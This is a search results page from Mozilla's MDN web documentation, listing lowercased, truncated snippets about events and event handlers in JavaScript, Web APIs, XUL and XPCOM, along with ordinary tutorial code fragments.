...this.getattribute('class') === 'paused') { audioelement.play(); this.setattribute('class', 'playing'); this.textcontent = 'pause' // if track is playing, stop it } else if (this.getattribute('class') === 'playing') { audioelement.pause(); this.setattribute('class', 'paused'); this.textcontent = 'play'; } }); // if track ends audioelement.addeventlistener('ended', function() { playbtn.setattribute('class', 'paused'); playbtn.textcontent = 'play'; }); note: some of you may notice that the play() and pause() methods being used to play and pause the track are not part of the web audio api; they are part of the htmlmediaelement api, which is different but closely-related.
... next, we create a gainnode object using the audiocontext.creategain() method, which can be used to adjust the volume of audio fed through it, and create another event handler that changes the value of the audio graph's gain (volume) whenever the slider value is changed: const gainnode = audioctx.creategain(); volumeslider.addeventlistener('input', function() { gainnode.gain.value = this.value; }); the final thing to do to get this to work is to connect the different nodes in the audio graph up, which is done using the audionode.connect() method available on every node type: audiosource.connect(gainnode).connect(audioctx.destination); the audio starts in the source, which is then connected to the gain node so the audio's volume can be adjusted.
...And 7 more matches
A first splash into JavaScript - Learn web development
else { lastresult.textcontent = 'wrong!'; lastresult.style.backgroundcolor = 'red'; if(userguess < randomnumber) { loworhi.textcontent = 'last guess was too low!' ; } else if(userguess > randomnumber) { loworhi.textcontent = 'last guess was too high!'; } } guesscount++; guessfield.value = ''; } guesssubmit.addeventlistener('click', checkguess); function setgameover() { guessfield.disabled = true; guesssubmit.disabled = true; resetbutton = document.createelement('button'); resetbutton.textcontent = 'start new game'; document.body.append(resetbutton); resetbutton.addeventlistener('click', resetgame); } function resetgame() { guesscount = 1; const r...
... events at this point we have a nicely implemented checkguess() function, but it won't do anything because we haven't called it yet.
... ideally we want to call it when the "submit guess" button is pressed, and to do this we need to use an event.
...And 7 more matches
Index
a recent development adds support for loading external pem files that contain private keys, in a software library called nss-pem, which is separately available, but should eventually become a core part of nss.
...the goal is to eventually find a certificate b (or c or ...) that has an appropriate trust assigned (e.g., because it can be found in the ckbi module and the user hasn't made any overriding trust decisions, or it can be found in a nss database file managed by the user or by the local environment).
... the expected signer (check subject name, common name, email, based on application), the trust restrictions recorded inside the certificate (extensions) permit the use (e.g., encryption might be allowed, but not signing), and based on environment/application policy it might be required to perform a revocation check (ocsp or crl), that asks the issuer(s) of the certificates whether there have been events that made it necessary to revoke the trust (revoke the validity of the cert).
...And 7 more matches
How to embed the JavaScript engine
jsautorequest ar(cx); // in practice, you would want to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world, it is '+new date()"; const char *filename = "noname"; ...
... jsautorequest ar(cx); // in practice, you would want to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr, js::fireonnewglobalhook)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world, it is '+new date()"; const char ...
... jsautorequest ar(cx); // in practice, you would want to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr, js::fireonnewglobalhook)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world, it is '+new date()"; const char ...
...And 7 more matches
Observer Notifications
general event for application startup.
...you will not be able to access user preferences, bookmarks, or anything that uses the profile folder until this event occurs.
... profile-before-change-telemetry called to shut down telemetry, again separated to allow everything before this event to continue using it.
...And 7 more matches
nsIEditorIMESupport
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void begincomposition(in nstexteventreplyptr areply); native code only!
... void getquerycaretrect(in nsquerycaretrecteventreplyptr areply); native code only!
... obsolete since gecko 1.9.1 void getreconversionstring(in nsreconversioneventreplyptr areply); native code only!
...And 7 more matches
nsIThreadObserver
the nsithreadobserver interface may be implemented to let an observer implement a layered event queue.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void afterprocessnextevent(in nsithreadinternal thread, in unsigned long recursiondepth); void ondispatchedevent(in nsithreadinternal thread); void onprocessnextevent(in nsithreadinternal thread, in boolean maywait, in unsigned long recursiondepth); methods afterprocessnextevent() called by the nsithread method nsithread.processnextevent() after an event is processed.
... void afterprocessnextevent( in nsithreadinternal thread, in unsigned long recursiondepth ); parameters thread the nsithread on which the event was processed.
...And 7 more matches
WebIDL bindings
the idea is that walking the getparentobject chain will eventually get you to a window, so that every webidl object is associated with a particular window.
...so for example, this idl: void passunion((object or long) arg); (object or long) receiveunion(); void passsequenceofunions(sequence<(object or long)> arg); void passotherunion((htmldivelement or arraybuffer or eventinit) arg); would correspond to these c++ function declarations: void passunion(const objectorlong& aarg); void receiveunion(owningobjectobjectorlong& aarg); void passsequenceofunions(const sequence<owningobjectorlong>& aarg); void passotherunion(const htmldivelementorarraybufferoreventinit& aarg); union structs expose accessors to test whether they're of a given type and to get hold of the d...
... events simple event interfaces can be automatically generated by adding the interface file to generated_events_webidl_files in the appropriate dom/webidl/moz.build file.
...And 7 more matches
Debugger.Object - Firefox Developer Tools
seal() prevent properties from being added to or deleted from the referent.
...(this function behaves like the standard object.seal function, except that the object to be sealed is implicit and in a different compartment from the caller.) freeze() prevent properties from being added to or deleted from the referent, and mark each property as non-writable.
...(this function behaves like the standard object.freeze function, except that the object to be sealed is implicit and in a different compartment from the caller.) preventextensions() prevent properties from being added to the referent.
...And 7 more matches
IDBTransaction.oncomplete - Web APIs
the oncomplete event handler of the idbtransaction interface handles the complete event, fired when the transaction successfully completes.
...in firefox 40+ the complete event is fired after the os has been told to write the data but potentially before that data has actually been flushed to disk.
... the complete event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the os crashes or there is a loss of system power before the data is flushed to disk.
...And 7 more matches
MediaRecorder.ondataavailable - Web APIs
the mediarecorder.ondataavailable event handler (part of the mediastream recording api) handles the dataavailable event, letting you run code in response to blob data being made available for use.
... the dataavailable event is fired when the mediarecorder delivers media data to your application for its use.
... when mediarecorder.stop() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered in a blob; after this, capturing ends.
...And 7 more matches
MediaStream Recording API - Web APIs
the data is delivered by a series of dataavailable events, already in the format you specify when creating the mediarecorder.
... set mediarecorder.ondataavailable to an event handler for the dataavailable event; this will be called whenever data is available for you.
... your dataavailable event handler gets called every time there's data ready for you to do with as you will; the event has a data attribute whose value is a blob that contains the media data.
...And 7 more matches
ServiceWorkerGlobalScope - Web APIs
developers should keep in mind that the serviceworker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state.
...an active service worker is automatically restarted to respond to events, such as serviceworkerglobalscope.onfetch or serviceworkerglobalscope.onmessage.
... this interface inherits from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties from windowtimers, windowbase64, and windoweventhandlers.
...And 7 more matches
Web Audio API - Web APIs
timing is controlled with high precision and low latency, allowing developers to write code that responds accurately to events and is able to target specific samples, even at a high sample rate.
... web audio api interfaces the web audio api has a number of interfaces and associated events, which we have split up into nine categories of functionality.
... the ended event the ended event is fired when playback has stopped because the end of the media was reached.
...And 7 more matches
Using the Web Speech API - Web APIs
currently supports speech recognition with prefixed properties, therefore at the start of our code we include these lines to feed the right objects to chrome, and any future implementations that might support the features without a prefix: var speechrecognition = speechrecognition || webkitspeechrecognition var speechgrammarlist = speechgrammarlist || webkitspeechgrammarlist var speechrecognitionevent = speechrecognitionevent || webkitspeechrecognitionevent the grammar the next part of our code defines the grammar we want our app to recognise.
...try ' + colorhtml + '.'; document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } receiving and handling results once the speech recognition is started, there are many event handlers that can be used to retrieve results, and other pieces of surrounding information (see the speechrecognition event handlers list.) the most common one you'll probably use is speechrecognition.onresult, which is fired once a successful result is received: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' ...
...+ color + '.'; bg.style.backgroundcolor = color; console.log('confidence: ' + event.results[0][0].confidence); } the second line here is a bit complex-looking, so let's explain it step by step.
...And 7 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
without sending the origin: http header), preventing its non-tainted used in <canvas> elements.
...if the audio's metadata isn't available yet—thereby preventing you from knowing the media's start time or duration—currenttime instead indicates, and can be used to change, the time at which playback will begin.
... events event name fired when audioprocess the input buffer of a scriptprocessornode is ready to be processed.
...And 7 more matches
Using Promises - JavaScript
« previousnext » a promise is an object representing the eventual completion or failure of an asynchronous operation.
... guarantees unlike old-fashioned passed-in callbacks, a promise comes with some guarantees: callbacks will never be called before the completion of the current run of the javascript event loop.
... promise rejection events whenever a promise is rejected, one of two events is sent to the global scope (generally, this is either the window or, if being used in a web worker, it's the worker or other worker-based interface).
...And 7 more matches
Performance fundamentals - Web Performance
startup performance application startup is punctuated by three user-perceived events, generally speaking: the first is the application first paint — the point at which sufficient application resources have been loaded to paint an initial frame the second is when the application becomes interactive — for example, users are able to tap a button and the application responds the final event is full load — for example when all the user's albums have been listed in a music ...
...player the key to fast startup is to keep two things in mind: upp is all that matters, and there's a "critical path" to each user-perceived event above.
... the critical path is exactly and only the code that must run to produce the event.
...And 7 more matches
Progress Listeners - Archive of obsolete content
progress listeners progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events.
...firefox 3.5 includes a way to set up a listener for all tabs, selected and not: listening to events on all tabs.
...iwebprogresslistener", "nsisupportsweakreference"]), onstatechange: function(awebprogress, arequest, aflag, astatus) { // if you use mylistener for more than one tab/window, use // awebprogress.domwindow to obtain the tab/window which triggers the state change if (aflag & state_start) { // this fires when the load event is initiated } if (aflag & state_stop) { // this fires when the load finishes } }, onlocationchange: function(aprogress, arequest, auri) { // this fires when the location bar changes; that is load event is confirmed // or when the user switches tabs.
...And 6 more matches
Custom XUL Elements with XBL - Archive of obsolete content
with xbl you can define new elements and define their properties, attributes, methods and event handlers.
... addperson : function(aevent) { // ...
... <xul:image class="xulshoolhello-person-image" xbl:inherits="src=image" /> <xul:vbox flex="1"> <xul:label xbl:inherits="value=name" /> <xul:description xbl:inherits="value=greeting" /> </xul:vbox> <xul:vbox> <xul:button label="&xulshoolhello.remove.label;" accesskey="&xulshoolhello.remove.accesskey;" oncommand="document.getbindingparent(this).remove(event);" /> </xul:vbox> </xul:hbox> </content> our element is very simple, displaying an image, a couple of text lines and a button.
...And 6 more matches
The Essentials of an Extension - Archive of obsolete content
d="main-menubar"> <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.hellomenu.accesskey;" insertafter="helpmenu"> <menupopup> <menuitem id="xulschoolhello-hello-menu-item" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloitem.accesskey;" oncommand="xulschoolchrome.browseroverlay.sayhello(event);" /> </menupopup> </menu> </menubar> <vbox id="appmenusecondarypane"> <menu id="xulschoolhello-hello-menu-2" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.hellomenu.accesskey;" insertafter="appmenu_addons"> <menupopup> <menuitem id="xulschoolhello-hello-menu-item-2" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloi...
...tem.accesskey;" oncommand="xulschoolchrome.browseroverlay.sayhello(event);" /> </menupopup> </menu> </vbox> this is the code that adds the hello world menu to the browser window.
... <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.hellomenu.accesskey;" insertbefore="devtoolsendseparator"> <menupopup> <menuitem id="xulschoolhello-hello-menu-item" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloitem.accesskey;" oncommand="xulschoolchrome.browseroverlay.sayhello(event);" /> </menupopup> </menu> </menupopup> we're overlaying the menu that is deeper into the xul tree, but it doesn't matter because all we need is the id of the element we want to overlay.
...And 6 more matches
Index of archived content - Archive of obsolete content
modules private properties firefox compatibility module structure of the sdk porting the library detector program id sdk api lifecycle sdk and xul comparison testing the add-on sdk two types of scripts working with events xul migration guide high-level apis addon-page base64 clipboard context-menu hotkeys indexed-db l10n notifications page-mod page-worker panel passwor...
...level apis /loader chrome console/plain-text console/traceback content/content content/loader content/mod content/symbiont content/worker core/heritage core/namespace core/promise dev/panel event/core event/target frame/hidden-frame frame/utils fs/path io/byte-streams io/file io/text-streams lang/functional lang/type loader/cuddlefish loader/sandbox net/url net/xhr places/bookmarks ...
...places/favicon places/history platform/xpcom preferences/event-target preferences/service remote/child remote/parent stylesheet/style stylesheet/utils system/child_process system/environment system/events system/runtime system/unload system/xul-app tabs/utils test/assert test/harness test/httpd test/runner test/utils ui/button/action ui/button/toggle ui/frame ui/id ui/sidebar ui/toolbar util/array util/collect...
...And 6 more matches
appendNotification - Archive of obsolete content
« xul reference home appendnotification( label , value , image , priority , buttons, eventcallback ) return type: element create a new notification and display it.
... eventcallback optional - a javascript function to call to notify you of interesting things that happen with the notification box.
... see notification box events.
...And 6 more matches
Keyboard Shortcuts - Archive of obsolete content
« previousnext » you could use keyboard event handlers to respond to the keyboard.
... the first way is the simplest and just requires that you use the command event handler on the key element.
... key events there are three keyboard events that may be used if the key related features described above aren't suitable.
...And 6 more matches
calICalendarViewController - Archive of obsolete content
interface code [scriptable, uuid(1f783898-f4c2-4b2d-972e-360e0de38237)] interface calicalendarviewcontroller : nsisupports { void createnewevent (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, in calidatetime anewendtime); void deleteoccurrence (in caliitemoccurrence aoccurrence); }; methods createnewevent void createnewevent (in calicalendar acalendar, in c...
...alidatetime astarttime, in calidatetime aendtime); the createnewevent method is used for creating a new calievent in the calicalendar specified by the acalendar parameter.
...if astarttime is specified, then the calievent is meant to be created 'silently', that is, without a more detailed dialog appearing.
...And 6 more matches
Making decisions in your code — conditionals - Learn web development
er">select the weather type today: </label> <select id="weather"> <option value="">--make a choice--</option> <option value="sunny">sunny</option> <option value="rainy">rainy</option> <option value="snowing">snowing</option> <option value="overcast">overcast</option> </select> <p></p> const select = document.queryselector('select'); const para = document.queryselector('p'); select.addeventlistener('change', setweather); function setweather() { const choice = select.value; if (choice === 'sunny') { para.textcontent = 'it is nice and sunny outside today.
... in the javascript, we are storing a reference to both the <select> and <p> elements, and adding an event listener to the <select> element so that when its value is changed, the setweather() function is run.
...er">select the weather type today: </label> <select id="weather"> <option value="">--make a choice--</option> <option value="sunny">sunny</option> <option value="rainy">rainy</option> <option value="snowing">snowing</option> <option value="overcast">overcast</option> </select> <p></p> const select = document.queryselector('select'); const para = document.queryselector('p'); select.addeventlistener('change', setweather); function setweather() { const choice = select.value; switch (choice) { case 'sunny': para.textcontent = 'it is nice and sunny outside today.
...And 6 more matches
Solve common problems in your JavaScript code - Learn web development
what is an event?
... events what are event handlers and how do you use them?
... what are inline event handlers?
...And 6 more matches
Framework main features - Learn web development
previous overview: client-side javascript frameworks next each major javascript framework has a different approach to updating the dom, handling browser events, and providing an enjoyable developer experience.
... regardless of their opinions on how components should be written, each framework's components offer a way to describe the external properties they may need, the internal state that the component should manage, and the events a user can trigger on the component's markup.
... events in order to be interactive, components need ways to respond to browser events, so our applications can respond to our users.
...And 6 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
svelte has the on:eventname directive for listening to dom events.
... let's add a handler to the on:click event of the checkbox input to toggle the completed value.
...update it with a click event, like so: <button type="button" class="btn btn__danger" on:click={() => removetodo(todo)} > delete <span class="visually-hidden">{todo.name}</span> </button> a very common mistake with handlers in svelte is to pass the result of executing a function as a handler, instead of passing the function.
...And 6 more matches
Mozilla’s UAAG evaluation report
1.2 activate event handlers.
...(p1) vg can use keyboard api to control mozilla, by generating keystrokes programmatically when in-process, can use dom to generate events uses active accessibility to provide program access to controls do not support all active accessibility features for programmatic operation (put_accname, put_accvalue not yet supported) 6.5 programmatic alert of changes.
... (p1) g uses active accessibility to generate change events to assistive technology 6.6 conventional keyboard apis.
...And 6 more matches
Performance best practices for Firefox front-end engineers
avoid the main thread where possible the main thread is where we process user events and do painting.
... it's also important to note that most of our javascript runs on the main thread, so it's easy for script to cause delays in event processing or painting.
... that means that the more code we can get off of the main thread, the more that thread can respond to user events, paint, and generally be responsive to the user.
...And 6 more matches
Scroll-linked effects
scrolling effects explained often scrolling effects are implemented by listening for the scroll event and then updating elements on the page in some way (usually the css position or transform property.) you can find a sampling of such effects at css scroll api: use cases.
...in the asynchronous scrolling model, the visual scroll position is updated in the compositor thread and is visible to the user before the scroll event is updated in the dom and fired on the main thread.
... <body style="height: 5000px" onscroll="document.getelementbyid('toolbar').style.top = math.max(100, window.scrolly) + 'px'"> <div id="toolbar" style="position: absolute; top: 100px; width: 100px; height: 20px; background-color: green"></div> </body> this implementation of sticky positioning relies on the scroll event listener to reposition the "toolbar" div.
...And 6 more matches
L20n Javascript API
you can listen to the ready event (emitted by the context instance when all the resources have been compiled) and use ctx.getsync and ctx.getentitysync to get translations synchronously.
...when all resources have been fetched, parsed and compiled, the context instance will emit a ready event.
... var ctx = l20n.getcontext(); ctx.addresource('<hello "hello, world!">'); ctx.requestlocales(); requestlocales can be called multiple times after the context instance emitted the ready event, in order to change the current language fallback chain, for instance if requested by the user.
...And 6 more matches
AsyncTestUtils extended framework
in the mozilla platform, the "top level" of a program is the event loop.
... it is a never-ending loop that dequeues pending events and runs them.
...when i/o results in newly read data it places an event in the queue.
...And 6 more matches
nsIDocShell
chromeeventhandler nsidomeventtarget events generated in the frame bubble up to its chromeeventhandler.
...this attribute allows chrome to tie in to handle dom events that may be of interest to chrome.
... isinunload boolean find out whether the docshell is currently in the middle of a page transition (after the onunload event has fired, but before the new document has been set up) read only.
...And 6 more matches
XPCOM Interface Reference
cemozistoragestatementmozistoragestatementcallbackmozistoragestatementparamsmozistoragestatementrowmozistoragestatementwrappermozistoragevacuumparticipantmozistoragevaluearraymozitxttohtmlconvmozithirdpartyutilmozivisitinfomozivisitinfocallbackmozivisitstatuscallbacknsiabcardnsiaboutmodulensiabstractworkernsiaccelerometerupdatensiaccessnodensiaccessibilityservicensiaccessiblensiaccessiblecaretmoveeventnsiaccessiblecoordinatetypensiaccessibledocumentnsiaccessibleeditabletextnsiaccessibleeventnsiaccessiblehyperlinknsiaccessiblehypertextnsiaccessibleimagensiaccessibleprovidernsiaccessiblerelationnsiaccessibleretrievalnsiaccessiblerolensiaccessiblescrolltypensiaccessibleselectablensiaccessiblestatechangeeventnsiaccessiblestatesnsiaccessibletablensiaccessibletablecellnsiaccessibletablechangeeventnsi...
...accessibletextnsiaccessibletextchangeeventnsiaccessibletreecachensiaccessiblevaluensiaccessiblewin32objectnsialertsservicensiannotationobservernsiannotationservicensiappshellnsiappshellservicensiappstartupnsiappstartup_mozilla_2_0nsiapplicationcachensiapplicationcachechannelnsiapplicationcachecontainernsiapplicationcachenamespacensiapplicationcacheservicensiapplicationupdateservicensiarraynsiasyncinputstreamnsiasyncoutputstreamnsiasyncstreamcopiernsiasyncverifyredirectcallbacknsiauthinformationnsiauthmodulensiauthpromptnsiauthprompt2nsiauthpromptadapterfactorynsiauthpromptcallbacknsiauthpromptprovidernsiauthpromptwrappernsiautocompletecontrollernsiautocompleteinputnsiautocompleteitemnsiautocompletelistenernsiautocompleteobservernsiautocompleteresultnsiautocompletesearchnsibadcertlistener2nsibid...
...ikeyboardnsibinaryinputstreamnsibinaryoutputstreamnsiblocklistpromptnsiblocklistservicensiboxobjectnsibrowserboxobjectnsibrowserhistorynsibrowsersearchservicensicrlinfonsicrlmanagernsicachensicachedeviceinfonsicacheentrydescriptornsicacheentryinfonsicachelistenernsicachemetadatavisitornsicacheservicensicachesessionnsicachevisitornsicachingchannelnsicancelablensicategorymanagernsichannelnsichanneleventsinknsichannelpolicynsicharsetresolvernsichromeframemessagemanagernsichromeregistrynsiclassinfonsiclipboardnsiclipboardcommandsnsiclipboarddragdrophooklistnsiclipboarddragdrophooksnsiclipboardhelpernsiclipboardownernsicollectionnsicommandcontrollernsicommandlinensicommandlinehandlernsicommandlinerunnernsicomponentmanagernsicomponentregistrarnsicompositionstringsynthesizernsiconsolelistenernsiconsol...
...And 6 more matches
Index
these are the main view classes: 24 events there are a lot of events that can be fired in mail code.
... some of these are standard events, such as those created by the dom.
...this reference will help you track those events down and learn how to use them.
...And 6 more matches
AddressErrors - Web APIs
addresserrors is the type of the object returned by shippingaddresserrors in the paymentdetailsupdate passed into paymentrequestupdateevent.updatewith() by the shippingaddresschange event handler if a change to the address resulted in a validation error occurring.
... examples snippet: limiting destination countries this first example is just a snippet showing an implementation of the event handler for the shippingaddresschange event which checks to be sure the chosen address is located within one of a limited number of countries.
... let request; function process() { let options = {requestshipping: true}; try { request = new paymentrequest(supportedhandlers, defaultpaymentdetails, options); // add event listeners here.
...And 6 more matches
AudioTrackList - Web APIs
properties this interface also inherits properties from its parent interface, eventtarget.
... event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a new audio track has been added to the media element.
... onchange an event handler to be called when the change event occurs.
...And 6 more matches
BroadcastChannel - Web APIs
messages are broadcasted via a message event fired at all broadcastchannel objects listening to the channel.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stro...
...e4"/><a xlink:href="/docs/web/api/broadcastchannel" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">broadcastchannel</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor broadcastchannel() creates an object linking to the named channel.
...And 6 more matches
Element.setPointerCapture() - Web APIs
the setpointercapture() method of the element interface is used to designate a specific element as the capture target of future pointer events.
... subsequent events for the pointer will be targeted at the capture element until capture is released (via element.releasepointercapture()).
... note: when pointer capture is set, pointerover, pointerout, pointerenter, and pointerleave events are only generated when crossing the boundary of the capture target.
...And 6 more matches
HTMLFormElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmlformelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlformelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, htmlelement.
...fires an event named invalid at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled.
...And 6 more matches
File drag and drop - Web APIs
a target element for the file drop) and to define event handlers for the drop and dragover events.
... define the drop zone the target element of the drop event needs an ondrop global event handler.
... the following code snippet shows how this is done with a <div> element: <div id="drop_zone" ondrop="drophandler(event);"> <p>drag one or more files to this drop zone ...</p> </div> typically, an application will include a dragover event handler on the drop target element and that handler will turn off the browser's default drag behavior.
...And 6 more matches
IDBOpenDBRequest.onupgradeneeded - Web APIs
the onupgradeneeded property of the idbopendbrequest interface is the event handler for the upgradeneeded event, triggered when a database of a bigger version number than the existing stored database is loaded.
... the event passed to the listener is an idbversionchangeevent.
... inside the event handler function you can include code to upgrade the database structure, as shown in the example below.
...And 6 more matches
MediaQueryList - Web APIs
a mediaquerylist object stores information on a media query applied to a document, with support for both immediate and event-driven matching against the state of the document.
... properties the mediaquerylist interface inherits properties from its parent interface, eventtarget.
... methods the mediaquerylist interface inherits methods from its parent interface, eventtarget.
...And 6 more matches
Recording a media element - Web APIs
starting media recording the startrecording() function handles starting the recording process: function startrecording(stream, lengthinms) { let recorder = new mediarecorder(stream); let data = []; recorder.ondataavailable = event => data.push(event.data); recorder.start(); log(recorder.state + " for " + (lengthinms/1000) + " seconds..."); let stopped = new promise((resolve, reject) => { recorder.onstop = resolve; recorder.onerror = event => reject(event.name); }); let recorded = wait(lengthinms).then( () => recorder.state == "recording" && recorder.stop() ); return promise.all([ stopped, ...
... line 3 creates an empty array, data, which will be used to hold the blobs of media data provided to our ondataavailable event handler.
... line 5 sets up the handler for the dataavailable event.
...And 6 more matches
Using the Notifications API - Web APIs
note: before version 37, chrome doesn't let you call notification.requestpermission() in the load event handler (see issue 274284).
... var n = new notification('my great song'); document.addeventlistener('visibilitychange', function() { if (document.visibilitystate === 'visible') { // the tab has become visible so clear the now-stale notification.
... n.close(); } }); note: this api shouldn't be used just to have the notification removed from the screen after a fixed delay (on modern browsers) since this method will also remove the notification from any notification tray, preventing users from interacting with it after it was initially shown.
...And 6 more matches
PerformanceNavigationTiming - Web APIs
the performancenavigationtiming interface provides methods and properties to store and retrieve metrics regarding the browser's document navigation events.
...ocs/web/api/performancenavigationtiming" target="_top"><rect x="201" y="1" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancenavigationtiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface extends the following performanceentry properties for navigation performance entry types by qualifying and constraining them as follows: performanceentry.entrytype read only returns "navigation".
... performanceentry.duration read only returns a timestamp that is the difference between the performancenavigationtiming.loadeventend and performanceentry.starttime properties.
...And 6 more matches
RTCPeerConnection.onaddstream - Web APIs
the rtcpeerconnection.onaddstream event handler is a property containing the code to execute when the addstream event, of type mediastreamevent, is received by this rtcpeerconnection.
... such an event is sent when a mediastream is added to this connection by the remote peer.
... the event is sent immediately after the call setremotedescription() and doesn't wait for the result of the sdp negotiation.
...And 6 more matches
TextTrackList - Web APIs
properties this interface also inherits properties from its parent interface, eventtarget.
... event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a new text track has been added to the media element.
... onchange an event handler to be called when the change event occurs.
...And 6 more matches
VideoTrackList - Web APIs
properties this interface also inherits properties from its parent interface, eventtarget.
... event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a new video track has been added to the media element.
... onchange an event handler to be called when the change event occurs — that is, when the value of the selected property for a track has changed, due to the track being made active or inactive.
...And 6 more matches
Worker - Web APIs
WebAPIWorker
properties inherits properties from its parent, eventtarget, and implements properties from abstractworker.
... event handlers abstractworker.onerror an eventlistener called whenever an errorevent of type error bubbles through to the worker.
... worker.onmessage an eventlistener called whenever a messageevent of type message bubbles through the worker — i.e.
...And 6 more matches
WorkerGlobalScope - Web APIs
workers have no browsing context; this scope contains the information usually conveyed by window objects — in this case event handlers, the console or the associated workernavigator object.
... each workerglobalscope has its own event loop.
... properties this interface inherits properties from the eventtarget interface and windoworworkerglobalscope and windoweventhandlers mixins.
...And 6 more matches
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
<input> elements of type button are rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the click event).
... value a domstring used as the button's label events click supported common attributes type, and value idl attributes value methods none value an <input type="button"> elements' value attribute contains a domstring that is used as the button's label.
... a simple button we'll begin by creating a simple button with a click event handler that starts our machine (well, it toggles the value of the button and the text content of the following paragraph): <form> <input type="button" value="start machine"> </form> <p>the machine is stopped.</p> const button = document.queryselector('input'); const paragraph = document.queryselector('p'); button.addeventlistener('click', updatebutton); function updatebutton() { if (butt...
...And 6 more matches
Using the application cache - HTML: Hypertext Markup Language
in addition, the browser also sends a checking event to the window.applicationcache object, and fetches the manifest file, following the appropriate http caching rules.
... if the currently-cached copy of the manifest is up-to-date, the browser sends a noupdate event to the applicationcache object, and the update process is complete.
...for each file fetched into this temporary cache, the browser sends a progress event to the applicationcache object.
...And 6 more matches
Adding preferences to an extension - Archive of obsolete content
the next step is to register a preference observer by calling the addobserver() method to establish that whenever any events occur on the preferences, our object (this) receives notification.
... when events occur, such as a preference being altered, our observe() method will be called automatically.
... shutdown: function() { this.prefs.removeobserver("", this); }, observe() the stockwatcher.observe() function is called whenever an event occurs on the preference branch we're watching.
...And 5 more matches
JXON - Archive of obsolete content
the object.freeze() method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed.
...the object.freeze() method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed.
...the object.freeze() method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed.
...And 5 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
